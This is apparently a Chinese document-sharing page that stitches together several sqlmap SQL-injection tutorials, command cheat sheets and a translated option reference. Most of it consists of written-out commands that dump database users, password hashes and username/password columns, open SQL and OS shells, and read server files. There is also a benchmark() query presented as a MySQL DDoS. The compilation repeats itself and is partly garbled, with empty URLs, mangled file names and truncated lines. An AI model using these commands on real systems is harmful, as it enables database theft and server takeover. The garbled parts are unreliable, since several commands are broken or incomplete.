sqlmap使用手册
- 格式:doc
- 大小:40.50 KB
- 文档页数:5
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。
今天把我一直以来整理的sqlmap笔记发布上来供大家参考。
sqlmap简介sqlmap支持五种不同的注入模式:∙1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
∙2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
∙3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
∙4、联合查询注入,可以使用union的情况下的注入。
∙5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注入基本格式sqlmap -u “/post.php?id=1″默认使用level1检测全部数据库类型sqlmap -u “/post.php?id=1″ –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap -u “/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注入成功后获取数据库基本信息sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
sqlmap 用法SQLmap 是一个基于Python 开发的自动化SQL 注入工具,可以自动扫描并发现网站SQL 注入漏洞,进而进行攻击,获取目标站点的敏感信息。
SQLmap 的用法如下:1. 下载SQLmap 并解压缩。
2. 打开命令行,进入到SQLmap 的目录下。
3. 执行以下命令:./sqlmap.py -u " dbs其中,`-u` 参数指定了目标网站的URL,`dbs` 参数是告诉SQLmap 爆破网站的数据库名称。
4. SQLmap 即会自动扫描目标站点,探测是否存在SQL 注入漏洞,并且提供一个菜单让用户选择要进行哪些操作。
下面是一些常用的SQLmap 命令:- `-u` 用来指定目标URL。
- `dbs` 用来指定要爆破的数据库名称。
- `current-db` 用来显示当前所处的数据库名称。
- `tables` 用来显示指定数据库中的所有表。
- `columns` 用来显示指定表中的所有列。
- `dump` 用来下载指定数据库中的所有数据。
- `-p` 用来指定要测试的参数。
- `technique` 用来指定使用的SQL 注入技术。
- `level` 用来指定SQL 注入攻击的强度级别。
- `user-agent` 用来指定HTTP User-Agent。
- `cookie` 用来指定HTTP Cookie。
- `tamper` 用来指定修改SQL 注入攻击载荷的方法。
以上命令只是SQLmap 的一部分,完整的命令列表可以查看SQLmap 的帮助文档。
在使用SQLmap 时,需要谨慎操作,以免不小心删除或修改了网站的数据。
Sqlmap使⽤(必备命令)⼀、Sqlmap注⼊篇Sqlmap是⼀个专业的SQL注⼊⼯具,⽤法也很多,具体可以⽤"sqlmap -hh"查看完整的命令帮助⽂档,我这只是给⼤家分享⼀些最常⽤的Sqlmap⽤法。
1、检查注⼊点【get】 sqlmap -u "url"【post】sqlmap -u "url" --data="参数"【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"2、爆所有数据库信息--dbs(爆所有数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs--current-db(爆当前数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db3、列出指定数据库所有的表名-D 数据库名 --tables例如:列出数据库名为pikachu的所有数据表【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables4、列出指定表名的所有列名--columns 所有列名例如:数据库pikachu中users表所有字段名【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns5、dump打印输出表名指定列名字段的值数据-C 指定需要显⽰数值的字段名,不指定默认显⽰全部字段例如:数据库pikachu中users表中username,password字段的值【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -Cusername,password --dump6、Sqlmap -r 使⽤使⽤Fiddler或者Burp Suite抓包将get或者post请求保存为.txt⽂件,然后使⽤Sqlmap -r “txt⽂件路径”调⽤,这样就不⽤输⼊参数和cookie了。
slqmap使用手册以下是使用sqlmap的简单手册:1. 获取数据库管理系统的标识:使用参数-b或--banner。
2. 检索数据库管理系统当前用户:使用参数--current-user。
3. 检索数据库管理系统当前数据库:使用参数--current-db。
4. 检测DBMS当前用户是否DBA:使用参数--is-dba。
5. 枚举数据库管理系统用户:使用参数--users。
6. 枚举数据库管理系统用户密码哈希:使用参数--passwords。
7. 枚举数据库管理系统用户的权限:使用参数--privileges。
8. 枚举数据库管理系统用户的角色:使用参数--roles。
9. 枚举数据库管理系统数据库:使用参数--dbs。
10. 枚举数据库管理系统中的表:使用参数--tables。
11. 枚举数据库管理系统数据库表列:使用参数--columns。
12. 转储数据库管理系统的数据库中的表项:使用参数--dump。
13. 转储所有的DBMS数据库表中的条目:使用参数--dump-all。
14. 搜索列、表和/或数据库名称:使用参数-search。
15. 要进行枚举的特定数据库名:使用参数-D。
16. 要进行枚举的特定数据库表:使用参数-T。
17. 要进行枚举的特定数据库列:使用参数-C。
18. 只想列举部分数据可以使用参数--start和--stop。
如只想列举第一条数据可以添加--stop 1,只想列举第二和第三条数据可以添加--start 1 --stop 3。
此外,还可以用--where参数来限制列举的数据,如--where id>3会只列举列id的值大于3的数据。
19. 列举所有数据库所有表中所有数据,可以使用参数--dump-all和--exclude-sysdbs,排除系统数据库。
以上是sqlmap的一些基本用法,更多高级用法可以查阅sqlmap的官方文档或相关教程。
sqlmap使⽤⼿册sqlmap使⽤⼿册输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数⽤于指定注⼊点的URL。
输⼊“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”⽤于列举数据库。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”⽤于指定数据库名称,“--tables”参数⽤于列举表。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”⽤于指定表名称,“--columns”参数⽤于指定列出表中字段。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”⽤于指定字段名称,参数“—dump”⽤于导出数据。
--os-shell--file-read "/user/www/flag.php官⽅命令sqlmap -r http.txt #http.txt是我们抓取的http的请求包sqlmap -r http.txt -p username #指定参数,当有多个参数⽽你⼜知道username参数存在SQL漏洞,你就可以使⽤-p指定参数进⾏探测sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该⽹站需要登录时,探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填⼊sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库⽤户名的密码sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前⽤户是否有管理员权限sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员⾓⾊,仅适⽤于oracle数据库的时候sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进⾏过滤,⽤/**/代替空格sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最⾼级别。
SQLMAP注⼊教程-11种常见SQLMAP使⽤⽅法详解⼀、SQLMAP⽤于Access数据库注⼊(1) 猜解是否能注⼊1 2win:python sqlmap.py -u "" Linux :.lmap.py -u ""(2) 猜解表1 2win:python sqlmap.py -u ""--tables Linux:.lmap.py -u ""--tables(3) 根据猜解的表进⾏猜解表的字段(假如通过2得到了admin这个表)1 2win:python sqlmap.py -u ""--columns -T admin Linux:.lmap.py -u ""--columns -T admin(4) 根据字段猜解内容(假如通过3得到字段为username和password)1 2 3win:python sqlmap.py -u ""--dump -T admin -C "username,password" Linux:.lmap.py -u ""--dump -T admin -C"username,[url=]B[/url]password"⼆、SQLMAP⽤于Cookie注⼊(1) cookie注⼊,猜解表1win :python sqlmap.py -u ""--cookie "id=31" --table --level 2 (2) 猜解字段,(通过1的表猜解字段,假如表为admin)1 2win :python sqlmap.py -u ""--cookie "id=31" --columns -T admin --level 2(3) 猜解内容1 2win :python sqlmap.py -u ""--cookie "id=31" --dump -T admin -C "username,password"--level 2三、SQLMAP⽤于mysql中DDOS攻击(1) 获取⼀个Shell1 2 3 4win:python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell Linux:sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell(2) 输⼊执⾏语句完成DDOS攻击1select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)四、SQLMAP⽤于mysql注⼊(1) 查找数据库1python sqlmap.py -u ""--dbs(2) 通过第⼀步的数据库查找表(假如数据库名为dataname)1python sqlmap.py -u ""-D dataname --tables(3) 通过2中的表得出列名(假如表为table_name)1python sqlmap.py -u ""-D dataname -T table_name --columns(4) 获取字段的值(假如扫描出id,user,password字段)1 2python sqlmap.py -u ""-D dataname -T table_name -C "id,user,password"--dump五、SQLMAP中post登陆框注⼊(1) 其中的search-test.txt是通过抓包⼯具burp suite抓到的包并把数据保存为这个txt⽂件我们在使⽤Sqlmap进⾏post型注⼊时,经常会出现请求遗漏导致注⼊失败的情况。
sqlmap的基本命令使用以下是sqlmap的基本命令使用:1. 执行SQL注入测试:`sqlmap -u <目标URL>`2. 执行POST请求的SQL注入测试:`sqlmap -u <目标URL> --data="<POST数据>"`3. 指定请求cookie进行SQL注入测试:`sqlmap -u <目标URL> --cookie="<cookie数据>"`4. 指定GET参数进行SQL注入测试:`sqlmap -u <目标URL> --data="<GET参数>"`5. 指定数据库管理系统类型:`sqlmap -u <目标URL> --dbms=<数据库类型>`6. 指定要测试的注入点:`sqlmap -u <目标URL> --level=<注入点级别> --risk=<注入点风险等级>`7. 使用代理进行测试:`sqlmap -u <目标URL> --proxy=<代理地址>`8. 指定响应时间,以检测时间盲注:`sqlmap -u <目标URL> --time-sec=<延迟时间>`9. 指定自定义payload进行测试:`sqlmap -u <目标URL> --data="<POST数据>" --payload="<payload数据>"`10. 获取数据库的表:`sqlmap -u <目标URL> --tables`11. 获取指定数据库的列:`sqlmap -u <目标URL> --columns -D <数据库名> -T <表名>`这些是sqlmap的一些基本命令,你可以根据实际情况进行调整和更改。
SQLMAP使用手册SQLMAP使用手册1、简介1.1 SQLMAP概述1.2 SQL注入攻击简介1.3 SQLMAP的功能和用途1.4 SQLMAP的安装和配置2、SQLMAP基础2.1 命令行参数2.2 目标URL设置2.3 扫描选项设置2.4 输出选项设置3、SQL注入测试3.1 参数型注入测试3.2 Cookie型注入测试3.3 User-Agent型注入测试3.4 HTTP头注入测试4、数据库探测4.1 数据库类型探测4.2 数据库版本探测4.3 数据库用户探测5、数据库指纹识别5.1 数据库5.2 数据库表5.3 获取表结构5.4 获取表数据6、数据库访问6.1 执行SQL语句6.2 数据库连接管理6.3 文件读取/写入6.4 Shell命令执行7、信息收集7.1 获取Web服务器信息7.2 获取操作系统信息7.3 Web应用指纹识别7.4 文件系统探测8、数据库漏洞利用8.1 UNION注入攻击8.2 堆叠查询注入攻击8.3 报错注入攻击8.4 盲注注入攻击9、高级功能9.1 代理设置9.2 多线程扫描9.3 CSRF防御绕过9.4 SSL证书验证绕过10、注意事项与常见问题解答 10.1 注意事项10.2 常见问题解答11、附件本文档涉及附件:1、附件A: SQLMAP安装指南:pdf2、附件B: SQL注入攻击示例代码:sql3、附件C: SQLMAP命令行参数说明:docx本文所涉及的法律名词及注释:1、SQL注入:一种针对Web应用程序的安全漏洞,黑客可以通过构造特定的输入数据,使应用程序在与数据库交互时执行恶意代码。
2、数据库:用于存储和管理结构化数据的电子系统,可以通过SQL语言进行操作和查询。
3、数据库服务器:承载数据库的硬件和软件系统。
4、SQLMAP:一个开源的自动化SQL注入工具,用于发现和利用SQL注入漏洞。
5、扫描选项:用户在使用SQLMAP时可以设置的参数,用于指定扫描的目标、测试方式和输出格式等。
sqlmap高级用法x一、sqlmap高级用法1、SQLMAP支持多种编码SQLMAP支持多种编码,用于抓取受保护的参数。
许多Web应用程序会对提交的参数进行编码,以防止SQL注入攻击。
sqlmap支持以下编码:URL编码,HEX编码,基本64编码,Microsoft SQL Server编码,MySQL编码,Oracle编码,PostgreSQL编码,Microsoft Access 编码,IBM DB2编码,Firebird编码,Sybase编码,SAP MaxDB编码,SQLite编码。
2、sqlmap可以绕过防火墙sqlmap可以使用多种测试技术来绕过防火墙。
这些技术包括:使用HTTP头来模拟浏览器使用指定的UA(User-Agent)头使用指定的请求方法,如GET,POST,HEAD等使用指定的代理服务器使用指定的Referer头3、sqlmap可以自动识别Web应用程序sqlmap可以自动检测Web应用程序的类型和版本,然后使用相应的SQL注入技术。
SQLMAP可以自动识别的Web应用程序类型包括: Microsoft SQL ServerMySQLPostgreSQLOracleMicrosoft AccessIBM DB2FirebirdSybaseSAP MaxDBSQLite4、sqlmap可以检测SQL注入漏洞SQLMAP可以识别SQL注入漏洞,并自动生成利用该漏洞进行攻击的SQL语句。
SQLMAP使用多种技术来检测漏洞,包括:使用关键字检查使用盲注语句检查使用HTTP响应码检查使用时间延迟检查使用错误信息检查使用数据库内置函数检查使用数据库服务信息检查5、sqlmap可以自动破解数据库账号SQLMAP可以自动破解数据库账号。
sqlmap使用手册Sqlmap使用手册Sqlmap是一款强大的SQL注入工具,是许多黑客和安全测试人员的必备工具。
下面是一篇关于Sqlmap的使用手册。
一、工具准备在使用Sqlmap前,首先要将工具准备好。
可以到Github官网下载最新的Sqlmap工具。
同时,还需要在系统中安装Python环境,因为Sqlmap是用Python语言编写的。
二、基本命令Sqlmap有许多命令,下面是一些基本命令:1.查看帮助信息:sqlmap -h2.进行初步漏洞扫描:sqlmap -u "目标URL" --dbs3.指定数据库类型进行漏洞扫描:sqlmap -u "目标URL" -dbs --dbms="数据库类型"4.指定要测试的数据库:sqlmap -u "目标URL" --table -D "数据库名称"5.指定要测试的表:sqlmap -u "目标URL" -T "表名称" --columns6.指定要测试的列:sqlmap -u "目标URL" -T "表名称" -C "列名称"三、高级命令Sqlmap还有一些高级命令,可以更深入地了解漏洞,下面是一些高级命令:1.使用指定的Cookie:sqlmap -u "目标URL" --cookie="Cookie值"2.使用指定的UserAgent:sqlmap -u "目标URL" --user-agent="UserAgent值"3.使用远程代理:sqlmap -u "目标URL" --proxy="代理IP:代理端口"4.指定使用的DBMS:sqlmap -u "目标URL" --dbms="数据库类型"5.指定使用的HTTP方法:sqlmap -u "目标URL" --method="HTTP方法"6.指定使用的HTTP头:sqlmap -u "目标URL" --headers="HTTP头"四、常见错误在使用Sqlmap时,常常会遇到一些错误,下面是一些常见错误以及解决方法:mand not found安装Python环境2.Sqlmap: command not found添加Python环境路径到环境变量中3.需要管理员权限使用sudo命令授予管理员权限4.无法解析主机名检查目标URL是否正确五、总结Sqlmap是一款强大的SQL注入工具,其功能强大,使用简便。
详解强大的SQL注入工具——SQLMAPAkast [N.S.T]1. 前言Windows下的注入工具好的又贵,免费的啊D、明小子等又不好用,我们根本没必要花时间去找什么破解的havij、pangolin什么的,特别是破解的工具很可能被绑了木马。
其实Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入工具。
就如backtrack系统里面就有非常丰富的注入工具,对MSSQL、MYSQL、oracle等各种数据库的应有尽有了,而且这些工具都是免费的,并且是开放源代码的,我们还可以用来修改为合适自己使用的注入工具。
本文给大家介绍的SqlMap是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。
它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
2. SQLMAP命令详解为了方便使用我把sqlmap的选项都翻译出来了,当然可能会存在一些不恰当的地方,请大家指出,可以给我发邮件:***************。
如果我有时间会把这个工具出个中文版。
Options(选项):--version 显示程序的版本号并退出-h, --help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中一个选项,设置目标URL。
-d DIRECT 直接连接到数据库。
-u URL, --url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。
Request(请求)::这些选项可以用来指定如何连接到目标URL。
--data=DATA 通过POST发送的数据字符串--cookie=COOKIE HTTP Cookie头--cookie-urlencode URL 编码生成的cookie注入--drop-set-cookie 忽略响应的Set - Cookie头信息--user-agent=AGENT 指定HTTP User - Agent头--random-agent 使用随机选定的HTTP User - Agent头--referer=REFERER 指定HTTP Referer头--headers=HEADERS 换行分开,加入其他的HTTP头--auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) --auth-cred=ACRED HTTP身份验证凭据(用户名:密码)--auth-cert=ACERT HTTP认证证书(key_file,cert_file)--proxy=PROXY 使用HTTP代理连接到目标URL--proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)--ignore-proxy 忽略系统默认的HTTP代理--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒--timeout=TIMEOUT 等待连接超时的时间(默认为30秒)--retries=RETRIES 连接超时后重新连接的时间(默认3)--scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式--safe-url=SAFURL 在测试过程中经常访问的url地址--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URLOptimization(优化):这些选项可用于优化SqlMap的性能。
-o 开启所有优化开关--predict-output 预测常见的查询输出--keep-alive 使用持久的HTTP(S)连接--null-connection 从没有实际的HTTP响应体中检索页面长度--threads=THREADS 最大的HTTP(S)请求并发量(默认为1)Injection(注入):这些选项可以用来指定测试哪些参数,提供自定义的注入payloads和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)--dbms=DBMS 强制后端的DBMS为此值--os=OS 强制后端的DBMS操作系统为这个值--prefix=PREFIX 注入payload字符串前缀--suffix=SUFFIX 注入payload字符串后缀--tamper=TAMPER 使用给定的脚本(S)篡改注入数据Detection(检测):这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
--level=LEVEL 执行测试的等级(1-5,默认为1)--risk=RISK 执行测试的风险(0-3,默认为1)--string=STRING 查询时有效时在页面匹配字符串--regexp=REGEXP 查询时有效时在页面匹配正则表达式--text-only 仅基于在文本内容比较网页Techniques(技巧):这些选项可用于调整具体的SQL注入测试。
--technique=TECH SQL注入技术测试(默认BEUST)--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)--union-cols=UCOLS 定列范围用于测试UNION查询注入--union-char=UCHAR 用于暴力猜解列数的字符Fingerprint(指纹):-f, --fingerprint 执行检查广泛的DBMS版本指纹Enumeration(枚举):这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。
此外,您还可以运行您自己的SQL语句。
-b, --banner 检索数据库管理系统的标识--current-user 检索数据库管理系统当前用户--current-db 检索数据库管理系统当前数据库--is-dba 检测DBMS当前用户是否DBA--users 枚举数据库管理系统用户--passwords 枚举数据库管理系统用户密码哈希--privileges 枚举数据库管理系统用户的权限--roles 枚举数据库管理系统用户的角色--dbs 枚举数据库管理系统数据库--tables 枚举的DBMS数据库中的表--columns 枚举DBMS数据库表列--dump 转储数据库管理系统的数据库中的表项--dump-all 转储所有的DBMS数据库表中的条目--search 搜索列(S),表(S)和/或数据库名称(S)-D DB 要进行枚举的数据库名-T TBL 要进行枚举的数据库表-C COL 要进行枚举的数据库列-U USER 用来进行枚举的数据库用户--exclude-sysdbs 枚举表时排除系统数据库--start=LIMITSTART 第一个查询输出进入检索--stop=LIMITSTOP 最后查询的输出进入检索--first=FIRSTCHAR 第一个查询输出字的字符检索--last=LASTCHAR 最后查询的输出字字符检索--sql-query=QUERY 要执行的SQL语句--sql-shell 提示交互式SQL的shellBrute force(蛮力):这些选项可以被用来运行蛮力检查。
--common-tables 检查存在共同表--common-columns 检查存在共同列User-defined function injection(用户自定义函数注入):这些选项可以用来创建用户自定义函数。
--udf-inject 注入用户自定义函数--shared-lib=SHLIB 共享库的本地路径File system access(访问文件系统):这些选项可以被用来访问后端数据库管理系统的底层文件系统。
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径Operating system access(操作系统访问):这些选项可以用于访问后端数据库管理系统的底层操作系统。
--os-cmd=OSCMD 执行操作系统命令--os-shell 交互式的操作系统的shell--os-pwn 获取一个OOB shell,meterpreter或VNC--os-smbrelay 一键获取一个OOB shell,meterpreter或VNC --os-bof 存储过程缓冲区溢出利用--priv-esc 数据库进程用户权限提升--msf-path=MSFPATH Metasploit Framework本地的安装路径--tmp-path=TMPPATH 远程临时文件目录的绝对路径Windows注册表访问:这些选项可以被用来访问后端数据库管理系统Windows注册表。
--reg-read 读一个Windows注册表项值--reg-add 写一个Windows注册表项值数据--reg-del 删除Windows注册表键值--reg-key=REGKEY Windows注册表键--reg-value=REGVAL Windows注册表项值--reg-data=REGDATA Windows注册表键值数据--reg-type=REGTYPE Windows注册表项值类型General(一般):这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中-s SESSIONFILE 保存和恢复检索会话文件的所有数据--flush-session 刷新当前目标的会话文件--fresh-queries 忽略在会话文件中存储的查询结果--eta 显示每个输出的预计到达时间--update 更新SqlMap--save file保存选项到INI配置文件--batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):--beep 发现SQL注入时提醒--check-payload IDS对注入payloads的检测测试--cleanup SqlMap具体的UDF和表清理DBMS--forms 对目标URL的解析和测试形式--gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果--page-rank Google dork结果显示网页排名(PR)--parse-errors 从响应页面解析数据库管理系统的错误消息--replicate 复制转储的数据到一个sqlite3数据库--tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址--wizard 给初级用户的简单向导界面3. 什么是OOB?传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方.为了发送这些数据,协议一般不使用与普通数据相同的通道,而是使用另外的通道.linux 系统的套接字机制支持低层协议发送和接受带外数据.但是TCP 协议没有真正意义上的带外数据.为了发送重要协议,TCP提供了一种称为紧急模式(urgentmode)的机制.TCP协议在数据段中设置URG位,表示进入紧急模式.接收方可以对紧急模式采取特殊的处理.很容易看出来,这种方式数据不容易被阻塞,可以通过在我们的服务器端程序里面捕捉SIGURG 信号来及时接受数据或者使用带OOB标志的recv函数来接受.。